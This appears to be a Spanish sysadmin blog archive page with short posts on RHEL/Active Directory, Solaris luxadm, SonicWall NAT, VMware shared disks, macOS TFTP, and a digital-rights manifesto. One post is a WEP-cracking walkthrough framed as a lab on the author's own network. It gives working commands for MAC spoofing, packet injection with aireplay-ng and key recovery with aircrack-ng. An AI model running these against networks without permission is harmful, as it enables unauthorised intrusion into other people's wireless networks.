Skip to content


Validar y autenticar Red Hat 6 (RHEL 6) con Active Directory 2003

Últimamente me he encontrado en una situación curiosa al tener que validar contra un AD 2003 y posterior mente soportar la migración al AD 2008 R2. Después de un poco de investigación y tiempo he encontrado un par de opciones viables.

Requisitos previos:

1. NTP. Nuestro servidor de NTP debe ser el mismo que el de los Domain Controllers de Windows a los que nos vamos a conectar.

2. FQDN. El comando "hostname -f" debe devolvernos el mismo dominio que el controlado por los Domain Controllers, en otras palabras deben usar sus mismos DNS, si son internos al dominio, algo bastante común, pues debe darse de alta en el.

3. GROUPS. No podemos tener el mismo nombre en los grupos de Windows y los grupos Unix. Bueno si podemos pero tenemos que tener claro que si coinciden en nombre prevalecerán los permisos de Unix. Quiere decir que si el usuario no existe en el grupo de Unix que se llama igual que el de Windows, dará igual que este en el Windows o no.

4. MAYÚSCULAS. El script que presento tiene mayúsculas y minúsculas, poned vuestros datos con el mismo orden. Kerberos es "case sesitive" y no funcionara si no lo respetáis.

5. SYSADMINX. Con este script solo permitimos a los que pertenecen al grupo "sysadminx" entrar al sistema. Esta como requisito en la configuración de pam. Esto puede ser cambiado por cualquier grupo de nuestra elección o simplemente eliminar la línea para permitir a cualquiera acceder. 

Continued…

Posted in LINUX.

Tagged with , , , , .


Sun Fire V890 y demás máquinas antiguas. Hot-plug SCSI Device

Me he encontrado con una máquina muy antigua una Sun Fire V890, y con unos discos que tenia que sacar.

Esta máquina usa "Dynamic Reconfiguration" o DR por lo tanto sus discos se pueden poner en "Ready to remove" y encienden su led para ese cometido.

Dada la antigüedad de estos sistemas, no utilizan el comando que cualquiera supondria "cfgadm" si no que aun usan el "luxadm" como con los antiguos PHOTON o Sun A5200.

Os dejo con el ejemplo:

 

root@example / # luxadm remove_device -F /dev/rdsk/c1t4d0s0

 WARNING!!! Please ensure that no filesystems are mounted on these device(s).
 All data on these devices should have been backed up.


The list of devices which will be removed is:
  1: Box Name:    "FCloop" slot 4
     Node WWN:    500000e010394d30
     Device Type:Disk device
     Device Paths:
      /dev/rdsk/c1t4d0s2


Please verify the above list of devices and
then enter 'c' or <CR> to Continue or 'q' to Quit. [Default: c]:
stopping:  Drive in "FCloop" slot 4….Done
offlining: Drive in "FCloop" slot 4….Done

Hit <Return> after removing the device(s).

  Drive in Box Name "FCloop" slot 4

  Notice: Device has not been removed from the enclosure.
  It has been removed from the loop and is ready to be
  removed from the enclosure, and the LED is blinking.

  Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:
  Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:
        c1t4d0s0
        c1t4d0s1
        c1t4d0s2
        c1t4d0s3
        c1t4d0s4
        c1t4d0s5
        c1t4d0s6
        c1t4d0s7
root@example / # luxadm remove_device -F /dev/rdsk/c1t5d0s0

 WARNING!!! Please ensure that no filesystems are mounted on these device(s).
 All data on these devices should have been backed up.


The list of devices which will be removed is:
  1: Box Name:    "FCloop" slot 5
     Node WWN:    500000e01039a200
     Device Type:Disk device
     Device Paths:
      /dev/rdsk/c1t5d0s2


Please verify the above list of devices and
then enter 'c' or <CR> to Continue or 'q' to Quit. [Default: c]:
stopping:  Drive in "FCloop" slot 5….Done
offlining: Drive in "FCloop" slot 5….Done

Hit <Return> after removing the device(s).

  Drive in Box Name "FCloop" slot 5
  Notice: Device has not been removed from the enclosure.
  It has been removed from the loop and is ready to be
  removed from the enclosure, and the LED is blinking.

  Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:
  Logical Nodes being removed under /dev/dsk/ and /dev/rdsk:
        c1t5d0s0
        c1t5d0s1
        c1t5d0s2
        c1t5d0s3
        c1t5d0s4
        c1t5d0s5
        c1t5d0s6
        c1t5d0s7

Posted in SOLARIS, SUN.

Tagged with , , , , , , .


Crear reglas de NAT de salida SONICWALL

Me he encontrado con un entorno en el que para la salida del firewall a internet era necesario crear reglas de NAT.

El proveedor de servicios me ofrece un router con un direccionamiento local 192.168.254.1 y una mascara 255.255.255.252, por tanto mi WAN del Sonicwall era 192.168.254.2. Y me dan un rango de IPs publicas para usar saliendo en NAT.

 

 

Como ejemplo usaremos el rango 19.178.23.224/255.255.255.248 que lo llamaremos "segmentoWAN" y creamos un "Network Object" con el.

Despues dentro de Network–>ARP creamos tantas entradas como IP tengamos dentro del pool en la interfaz WAN (X1 en nuestro caso). En nuestro ejemplo creamos una 19.178.23.226 y establecemos que el sonicwall le asigne una IP automaticamente:

Menu ARP

Esa IP WAN la usamos para crearnos un network object en nuestro ejemplo IPWAN1.

En el menu Network–>NAT policies creamos el NAT que nos permitira que todos nuestros usuarios detras del firewall salgan a internet usando como IP la IPWAN1

NAT policies para hacer salida con una IP WAN

 

Al igual si queremos publicar un servidor de cualquier tipo, es aqui donde debemos crear la regla de NAT correspondiente, a parte de haber creado los demas pasos necesarios. Abrir firewall, preparar el servicio, etc

Por ultimo debemos de recordar que el sonicwall debe ser capaz de enrutar las comunicaciones con el rango WAN por tanto en la seccion Network–>Routing debemos crear una entrada del siguiente modo para "segmentoWAN"

 

Ruta para salida NAT

Posted in SEGURIDAD, SONICWALL.

Tagged with .


Crear un disco compartido entre varias VM en ESX(i) sin RDM

Para montar algún tipo de cluster en cualquier versión de OS, ya sea Unix, Linux o Microsoft, es necesario crear discos compartidos para datos y quórum. Sobre plataformas virtualizadas de vmware, es totalmente factible y sencillo.

Antes de todo, ya sea en ESX o ESXi, tenemos que habilitar el acceso por SSH, para poder lanzar comandos en la shell, ya que necesitaremos acceso a esta para la creación de los discos compartidos. O bien tambien podríamos usar el vMA.

Si lo intentamos por el entorno grafico obtendremos un error durante el encendido de las VM similar a 

Una vez en el sistema os aconsejo crear una carpeta con los discos a compartir tipo SHARED_DISKS en el volumen donde queramos que residan. Normalmente en un entorno grande se tiene una de estas carpeta por cada datastore.

Nos situamos dentro de esta y lanzamos el siguiente comando:

vmkfstools -c <size> -d eagerzeroedthick /vmfs/volumes/<mydir>/<myDisk>.vmdk

EJEMPLO:

vmkfstools -c 10Gb -d eagerzeroedthick -a lsilogic RAC_VOT2.vmdk

 

Con esto tendremos creado el o los discos en si pero no enganchados a ninguna máquina, además si usamos vMA tendremos que usar un parámetro más "–server". Es importante la opción "eagerzerothick" sin ella nos dará errores.

En cada VM tendremos que modificar el componente "SCSI Controller" o crear uno nuevo, siendo esto último mas aconsejable ya que no interferiremos con el funcionamiento actual del sistema. Esta deberá tener la opción "SCSI Bus Sharing" en virtual.

SSCI Bus Sharing set to virtual

Y añadimos los discos seleccionando la opción discos existentes a esta "SCSI Controller", y eligiendo los discos que hemos creado anteriormente.

Esto lo repetimos por cada VM donde queramos que se vean dichos discos.

Adding disk to sharing bus controller

Otra opción que tenemos con el comando "vmkfstool" es la de convertir y modificar discos 

vmkfstools -i <origen>.vmdk <destino>.vmdk -d <option>

EJEMPLO:

vmkfstools -i RAC_DAT.vmdk RAC_DAT1.vmdk -d eagerzeroedthick

 

 

Mas información:

http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1028042

Posted in VMWARE.


Comparte teclado y raton sin KVM “The Synergy Project”

Hace tiempo busque una solución de este tipo para poder usar varios sistemas simultáneamente y lo único que encontré fueron KVM. Me parece un proyecto interesante y ojalá lo evolucionen hasta la perfección.

http://synergy-foss.org/pm/projects/synergy/tabs/welcome

Welcome to The Synergy Project

What is Synergy?

Synergy is FOSS that lets you easily share a single mouse and keyboard between multiple computers with different operating systems, without special hardware. All you need is a LAN connection. It's intended for users with multiple computers, where each system uses its own display.

Major features

  • Move your mouse easily between computers
  • Requires nothing other than existing ethernet
  • Copy and paste between your computers
  • No need to press any buttons (unlike KVM)
  • You can still use multiple monitors on the same computer
  • Lock the mouse to one screen

Synergy is not a KVM or VNC tool, since it does not deal with video. The advantage over a KVM is that you don't need to press any buttons or pull any levers to change screens — your keyboard input just goes to the same screen that your mouse cursor is on. Still not sure? Read more.

Posted in HARDWARE.


Activando el TFTP nativo de Snow Leopard

Que OSX incluya un servidor de TFTP dentro de su software base es una ayuda genial cuando te encuentras ante un Router/Switch/FW/Cualquier bicho que desees actualizar y use TFTP.

Para comenzar lanzamos un terminal apra abrir el "launchd", y el comando

sudo launchctl

Con ello nos cambiara el promp a "launchd%":

 

load -F /System/Library/LaunchDaemons/tftp.plist

Ponemos lo que queremos compartir en la carpeta:

 

/private/tftpboot

Cuando deseemos dejar de usarlo, seguimos los pasos anteriores pero ejecutando:

 

unload /System/Library/LaunchDaemons/tftp.plist

Otra de las opciones es dejarlo lanzado en nuestro sistema de modo permanente o desactivarlo de ese modo permanente, esto nos lo permite la opción "-w" de los comandos "load/unload" en el "launchd".

Posted in MAC.


Dia de los administradores de sistemas o sysadmins

Ya lo se que parece la fricada mas grande del mundo, pero si hoy es nuestro dia y deberian felicitarnos por nuestras horas pringando …..

Un abrazo pa toos

 

http://www.sysadminday.com/

Posted in OPINION.


Problemas de caídas continuas del servicio VirtualCenter Server

Tras una llamada de emergencia he asistido a un cliente que perdian la posibilidad de administracion de los nodos de ESX.

Problemas:

Su servicio de VCenter se caia cada 5 minutos sin una razón aparente. En concreto el sistema Windows 2003 daba el siguiente mensaje en el visor de sucesos:

Tipo de suceso: Información
Origen del suceso: VMware VirtualCenter Server
Categoría del suceso: Ninguno
Id. suceso: 1000
Fecha: 09/07/2010
Hora: 9:54:57
Usuario: No disponible
Equipo: *********
Descripción:
No se encuentra la descripción del Id. de suceso ( 1000 ) en el origen ( VMware VirtualCenter Server ). Es posible que el equipo local no tenga la información de Registro o archivos DLL de mensajes necesarios para mostrar mensajes desde un equipo remoto. Es posible que pueda usar el indicador /AUXSOURCE= para recuperar esta descripción; consulte Ayuda y soporte técnico para obtener más detalles. La siguiente información es parte del suceso: Log directory: C:\Documents and Settings\Default User\Configuración local\Datos de programa\VMware\vpx..
Tipo de suceso: InformaciónOrigen del suceso: VMware VirtualCenter ServerCategoría del suceso: NingunoId. suceso: 1000Fecha: 09/07/2010Hora: 9:54:57Usuario: No disponibleEquipo: *******Descripción:No se encuentra la descripción del Id. de suceso ( 1000 ) en el origen ( VMware VirtualCenter Server ). Es posible que el equipo local no tenga la información de Registro o archivos DLL de mensajes necesarios para mostrar mensajes desde un equipo remoto. Es posible que pueda usar el indicador /AUXSOURCE= para recuperar esta descripción; consulte Ayuda y soporte técnico para obtener más detalles. La siguiente información es parte del suceso: Log directory: C:\Documents and Settings\Default User\Configuración local\Datos de programa\VMware\vpx..

Continued…

Posted in VMWARE.


Laboratorio: Prueba de concepto. Crackear claves WEP usando Backtrack

A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad.

El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network

Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, o sueltos y ejecutáis uno a uno

Comenzamos:
Tenemos que cambiar los drivers de la tarjeta ya que no soportan modo promiscuo. En el backtrack viene unos que nos interesan

Script: “ipw3945i.sh”

#!/bin/bash
echo “[*] Removing IPW3945 drivers”
rmmod ipwraw
rmmod iwl3945
rmmod mac80211
echo “[*] Inserting IPWRAW drivers (raw mode)”
modprobe ipwraw

Lanzamos :

iwconfig

Vemos cual es la tarjeta wifi, en mi caso es wifi0 continuo usandola como ejemplo.
Me cambio la MAC , este es un numero de cada “tarjeta del mundo”. Tambien podemos cambiarnos la MAC para imitar una que este conectada en la nuestra red.

ifconfig wifi0 down
macchanger –mac 00:10:20:30:40:50 wifi0
ifconfig wifi0 up
ifconfig wifi0

En este punto podemos usar “Backtrack->Wireless Tools -> Analyzers ->Kismet” para elegir la red a la que atacar, o usar los comandos:

airmon-ng start wifi0
airodump-ng wifi0

El software este se puede tambien ordenar como el kismet pero la verdad nunca lo he intentado,  aconsejo un vistazo al man para ver que tal ….
Una vez elegida la red a la que atacar haces un “CRTL+C” en esa ventana para que pare. Apuntas el bssid (MAC), el essid (NOMBRE) y channel (CANAL).

En otra ventana de shell que abriremos y dejaremos lanzado el comando, para monitorizar esa red elegida para atacarla:

airodump-ng -c $CHANNEL -w $ESSID –bssid $BSSID wifi0

Rellenando los datos de los que hemos recogido antes ($). Si el essid tiene espacios lo pones entre comillas.

En otra venta de shell comenzamos el ataque en si.

Nos asociamos al AP, con el comando rellenado ($) el dato recopilado antes:

aireplay-ng -1 0 -a $BSSID -h 00:10:20:30:40:50 wifi0

Aqui es normalmente cuando puede fallar el invento ya que no le guste nuestra fakeMAC (00:10:20:30:40:50) al AP. Tendremos que cambiarla en caso necesario.

Ahora comenzamos a meterle paquetes rellenado los datos necesarios ($):

aireplay-ng -3 -b $BSSID -h 00:10:20:30:40:50 wifi0

Cabe la posiblidad de que de golpe nos dia algo asi como “notice: got a deauth/disassoc packet. Is the source MAC associated ?" Eso es simplemente que tenemos que volver a lanzar la asociacion en otra shell, porque el router o AP se ha percatado de nuestro ataque y nos ha dado la patadita.

Y si todo es correcto solo nos queda esperar a que los ARP nos vayan subiendo. Es necesario unos 100.000 o 200.000 dependiendo si la pass es de 64bits o 128bits. Esta es la parte de paciencia, si no estuvieramos metiendole paquetes con el aireplay tendriamos que esperar conexiones en la red.

Read 129275 packets (got 54575 ARP requests and 70947 ACKs), sent 83561 packets…(499 pps)

Una vez tenemos eso ya veremos que en el sistema tendremos unos ficheros del nombre de la essid con extension “.cap” en el directorio en el que estábamos.
Pues realizamos rellenado los datos ($):

aircrack-ng -n 64 –bssid $BSSID $ESSID.cap

Para crackear una pass 64bit. El resultado nos viene como grupos de 2 separados por “:” quetamos los “:” y el chorizo se lo podemos poner directamente al windows.

aircrack-ng -n 128 –bssid $BSSID $ESSID.cap

Para cargarnos una de 128bit, y el resultado seria el mismo que anteriormente.

El backtrack esta disponible en  http://www.remote-exploit.org/

Espero que despues de esto puedas probar la seguridad de tu red y la importancia de usar protocolos más seguros.

Posted in LINUX, SEGURIDAD.


A partir de hoy, Red y Libertad

Copio/Pego de microsiervos entre otros….

Consideramos imprescindible la retirada de la disposición final primera de la Ley de Economía Sostenible por los siguientes motivos:

  1. Viola los derechos constitucionales en los que se ha de basar un estado democrático en especial la presunción de inocencia, libertad de expresión, privacidad, inviolabilidad domiciliaria, tutela judicial efectiva, libertad de mercado, protección de consumidoras y consumidores, entre otros.
  2. Genera para la Internet un estado de excepción en el cual la ciudadanía será tratada mediante procedimientos administrativos sumarísimos reservados por la Audiencia Nacional a narcotraficantes y terroristas.
  3. Establece un procedimiento punitivo «a la carta» para casos en los que los tribunales ya han manifestado que no constituían delito, implicando incluso la necesidad de modificar al menos 4 leyes, una de ellas orgánica. Esto conlleva un cambio radical en el sistema jurídico y una fuente de inseguridad para el sector de las TIC (Tecnología de la Información y la Comunicación). Recordamos, en este sentido, que el intercambio de conocimiento y cultura en la red es un motor económico importante para salir de la crisis como se ha demostrado ampliamente.
  4. Los mecanismos preventivos urgentes de los que dispone la ley y la judicatura son para proteger a toda ciudadanía frente a riesgos tan graves como los que afectan a la salud pública. El gobierno pretende utilizar estos mismos mecanismos de protección global para beneficiar intereses particulares frente a la ciudadanía. Además la normativa introducirá el concepto de «lucro indirecto», es decir: a mí me pueden cerrar el blog porque «promocionó» a uno que «promociona» a otro que vincula a un tercero que hace negocios presuntamente ilícitos.
  5. Recordamos que la propiedad intelectual no es un derecho fundamental contrariamente a las declaraciones del Ministro de Justicia, Francisco Caamaño. Lo que es un derecho fundamental es el derecho a la producción literaria y artística.
  6. De acuerdo con las declaraciones de la Ministra de Cultura, esta disposición se utilizará exclusivamente para cerrar 200 webs que presuntamente están atentando contra los derechos de autor. Entendemos que si éste es el objetivo de la disposición, no es necesaria, ya que con la legislación actual existen procedimientos que permiten actuar contra webs, incluso con medidas cautelares, cuando presuntamente se esté incumpliendo la legalidad. Por lo que no queda sino recelar de las verdaderas intenciones que la motivan ya que lo único que añade a la legislación actual es el hecho de dejar la ciudadanía en una situación de grave indefensión jurídica en el entorno digital.
  7. Finalmente consideramos que la propuesta del gobierno no sólo es un despilfarro de recursos sino que será absolutamente ineficaz en sus presuntos propósitos y deja patente la absoluta incapacidad por parte del ejecutivo de entender los tiempos y motores de la Era Digital.

La disposición es una concesión más a la vieja industria del entretenimiento en detrimento de los derechos fundamentales de la ciudadanía en la era digital.

La ciudadanía no puede permitir de ninguna manera que sigan los intentos de vulnerar derechos fundamentales de las personas, sin la debida tutela judicial efectiva, para proteger derechos de menor rango como la propiedad intelectual. Dicha circunstancia ya fue aclarada con el dictado de inconstitucionalidad de la ley Corcuera (o «ley de la patada en la puerta»). El Manifiesto en defensa de los derechos fundamentales en Internet, respaldado por más de 200.000 personas, ya avanzó la reacción y demandas de la ciudadanía antes la perspectiva inaceptable del gobierno.

Para impulsar un definitivo cambio de rumbo y coordinar una respuesta conjunta, el 9 de enero se ha constituido la Red SOStenible, una plataforma representativa de todos los sectores sociedad civil afectados. El objetivo es iniciar una ofensiva para garantizar una regulación del entorno digital que permita expresar todo el potencial de la Red y de la creación cultural respetando las libertades fundamentales.

En este sentido, reconocemos como referencia para el desarrollo de la era digital, la Carta para la innovación, la creatividad y el acceso al conocimiento, un documento de síntesis elaborado por más de cien expertos de 20 países que recoge los principios legales fundamentales que deben inspirar este nuevo horizonte.

En particular, consideramos que en estos momentos es especialmente urgentes la implementación por parte de gobiernos e instituciones competentes, de los siguientes aspectos recogidos en la Carta:

  1. Los artistas como todos los trabajadores tienen que poder vivir de su trabajo (referencia punto 2 «Demandas legales», párrafo B. «Estímulo de la creatividad y la innovación», de la Carta);
  2. La sociedad necesita para su desarrollo de una red abierta y libre (referencia punto 2 «Demandas legales», párrafo D, «Acceso a las infraestructuras tecnológicas», de la Carta);
  3. El derecho a cita y el derecho a compartir tienen que ser potenciado y no limitado como fundamento de toda posibilidad de información y constitutivo de todo conocimiento (referencia punto 2 «Demandas legales», párrafo A, «Derechos en un contexto digital», de la Carta);
  4. La ciudadanía debe poder disfrutar libremente de los derechos exclusivos de los bienes públicos que se pagan con su dinero, con el dinero publico (referencia punto 2 «Demandas legales», párrafo C, «Conocimiento común y dominio público», de la Carta);
  5. Consideramos necesaria una reforma en profundidad del sistema de las entidades de gestión y la abolición del canon digital (referencia punto 2 «Demandas legales«, párrafo B, «Estímulo de la creatividad y la innovación», de la Carta).

Por todo ello hoy se inicia la campaña Internet no será otra tele y se llevarán a cabo diversas acciones ciudadanas durante todo el periodo de la presidencia española de la UE.

Consideramos particularmente importantes en el calendario de la presidencia de turno española el II Congreso de Economía de la Cultura (29 y 30 de marzo en Barcelona), Reunión Informal de ministros de Cultura (30 y 31 de marzo en Barcelona) y la reunión de ministros de Telecomunicaciones (18 a 20 de abril en Granada).

La Red tiene pre
visto reunirse con representantes nacionales e internacionales de partidos políticos, representantes de la cultura y delegaciones diplomáticas.

Firmado: Red SOStenible. La Red SOStenible somos todos. Si quieres adherirte a este texto, cópialo, bloguéalo, difúndelo.

Posted in OPINION.